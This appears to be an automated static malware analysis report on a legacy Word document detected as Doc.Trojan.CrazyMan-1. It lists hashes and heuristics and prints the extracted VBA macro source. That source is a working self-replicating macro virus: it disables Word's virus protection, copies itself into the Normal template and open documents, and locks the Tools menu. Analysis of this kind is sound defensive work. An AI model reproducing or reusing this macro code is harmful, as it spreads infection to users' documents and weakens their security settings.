Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f6a33806db5c6187…

MALICIOUS

Office (OLE)

30.0 KB Created: 2001-05-04 11:31:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 010f0b17418756f8ff34e1e28ec10605 SHA-1: e9805d575d64e55c3a17b9f53c934f3190449077 SHA-256: f6a33806db5c618708d04351ce91105704e4fc51bb4fb5db28740101a4485110
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros with AutoOpen and AutoClose functions, indicating an attempt to execute code upon opening and closing the document. The script attempts to export and import a VBA component named 'bdoc2' to both the Normal template and the active document, suggesting an effort to establish persistence or ensure execution. The ClamAV detection 'Doc.Trojan.CrazyMan-1' further supports the malicious nature of the file.

Heuristics 5

  • ClamAV: Doc.Trojan.CrazyMan-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.CrazyMan-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9931 bytes
SHA-256: bd25703672ef641c76dd255bf6ba0df745554997890f41be754cdd35bae19859
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "bdoc2"
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents(I).Name = "bdoc2" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents(I).Name = "bdoc2" Then ActivInstall = True
Next I
If ActivInstall = True And NormInstall = True Then GoTo Label_Exit
If ActivInstall = True And NormInstall = False Then Set Doc = ActiveDocument
If ActivInstall = False And NormInstall = True Then Set Doc = NormalTemplate
Doc.VBProject.VBComponents("bdoc2").Export ("c:\bdoc2.txt")

If ActiveInstall = True And NormInstall = False Then
NormalTemplate.VBProject.VBComponents.Import ("c:\bdoc2.txt")
NormalTemplate.Save
Else
Dname = ActiveDocument.FullName
If Left$(Dname, 8) = "Document" Then GoTo Label_Exit
ActiveDocument.VBProject.VBComponents.Import ("c:\bdoc2.txt")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If

Label_Exit:
CommandBars("Tools").Enabled = False
Application.ScreenUpdating = True
Application.DisplayAlerts = wdAlertsAll
Application.EnableCancelKey = wdCancelInterrupt
End Sub
Sub AutoClose()
On Error Resume Next
If Day(Now) = 2 And Month(Now) = 9 Then MsgBox "УАФ¶µДЧЈёЈ , ЙъИХїмАЦ!!!", vbCritical
Application.DisplayAlerts = wdAlertsNone
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "bdoc2" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "bdoc2" Then ActiveInstall = True
Next I
If ActiveInstall = True And NormInstall = True Then GoTo Label_Exit
If ActiveInstall = True And NormInstall = False Then
NormalTemplate.VBProject.VBComponents.Import ("c:\bdoc2.txt")
NormalTemplate.Save
Else
Dname = ActiveDocument.FullName
If Left$(Dname, 8) = "Document" Then GoTo Label_Exit
ActiveDocument.VBProject.VBComponents.Import ("c:\bdoc2.txt")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If
Label_Exit:
End Sub

Public Sub AutoExec()
On Error Resume Next
CommandBars("Tools").Enabled = False
Application.DisplayAlerts = wdAlertsNone
Application.ScreenUpdating = False
Options.VirusProtection = False
End Sub
Sub AutoExit()
On Error Resume Next
Kill ("c:\bdoc2.txt")
If Day(Now) = 13 Then MsgBox "ЗлК№УГµБ°жИнјю,Press OK!!", vbCritical
End Sub


' Processing file: /opt/analyzer/scan_staging/73445b34f1a046a784fb633c1e40fd53.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/bdoc2 - 4134 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #3:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #4:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #5:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #6:
' 	Ld I 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0005 "bdoc2"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St NormInstall 
' 	EndIf 
' Line #7:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	NextVar 
' Line #8:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #9:
' 	Ld I 
... (truncated)

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